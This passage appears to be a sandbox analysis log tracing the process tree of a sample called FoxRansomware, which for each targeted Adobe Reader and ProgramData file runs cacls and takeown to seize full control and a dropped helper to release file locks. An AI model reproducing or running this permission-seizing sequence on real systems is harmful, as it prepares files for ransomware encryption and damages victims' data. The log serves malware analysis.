C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "TURKISH.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "TURKISH.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "LogTransport2.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "LogTransport2.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "bl.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "bl.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "forms_super.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "forms_super.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "review_browser.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "review_browser.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "tl.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "tl.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "Identity-V" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "Identity-V" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "MyriadPro-Bold.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "MyriadPro-Bold.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "SC_Reader.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "SC_Reader.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "brt55.ths" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "brt55.ths" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "usa03.hsp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "usa03.hsp" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "CYRILLIC.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "CYRILLIC.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "CP1252.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "CP1252.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "directories.acrodata" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "directories.acrodata" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "behavior.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "behavior.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "overlay.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "overlay.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\de-DE\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "watermark.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "watermark.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Assistance\Client\1.0\en-US\Help_MTOC_help.H1H""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Assistance\Client\1.0\en-US\Help_MTOC_help.H1H" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Assistance\Client\1.0\en-US\Help_MTOC_help.H1H"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "Help_MTOC_help.H1H" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "Help_MTOC_help.H1H" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "device.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "device.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml""2⤵
-
